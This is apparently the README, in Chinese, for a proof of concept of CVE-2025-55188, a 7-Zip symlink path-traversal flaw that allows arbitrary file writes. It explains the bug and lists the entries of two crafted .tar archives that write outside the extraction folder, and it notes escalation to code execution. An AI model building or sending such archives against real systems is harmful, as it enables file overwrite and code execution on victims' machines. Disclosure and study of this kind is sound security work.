
CVE-2025-55188 的概念验证:7-Zip 任意文件写入
CVE-2025-55188 的概念验证,这是 7-Zip 中的一个任意文件写入漏洞。该漏洞已在 2025 年 8 月 3 日发布的 25.01 版本中修复。
注意:CVE-2025-55188 与 CVE-2025-11001 不同。
修复 CVE-2025-11001 的版本(25.00 版)仍然容易受到通过符号链接攻击导致的任意代码执行的影响,原因是 CVE-2025-55188。
CVE-2025-55188 的发现和发布早于 CVE-2025-11001 的发布。
有关更详细的说明和漏洞分析,请参阅 https://lunbun.dev/blog/cve-2025-55188/。
这个漏洞相当直截了当。
路径遍历通过符号链接完成,从而可以任意写入文件。在此基础上,任意文件写入可以通过写入关键文件升级为任意代码执行。
符号链接路径遍历之所以可能,是因为符号链接安全检查中存在一个边界情况。我发现了两种利用方法。更多细节请参阅博客文章。
以下 .tar 文件在解压时会写入 ../a/b/file.txt:
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/link -> ../a/b
hrwxr-xr-x 0/0 0 1969-12-31 16:00 link link to a/link
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_hardlink 包含使用硬链接方法的代码。
以下 .tar 文件在解压时会写入 ../file.txt(仅限 Linux):
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/b/link -> /a
lrw-r--r-- 0/0 0 1969-12-31 16:00 link -> a/b/link/../../
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_extraction_root 包含使用解压根目录方法的代码。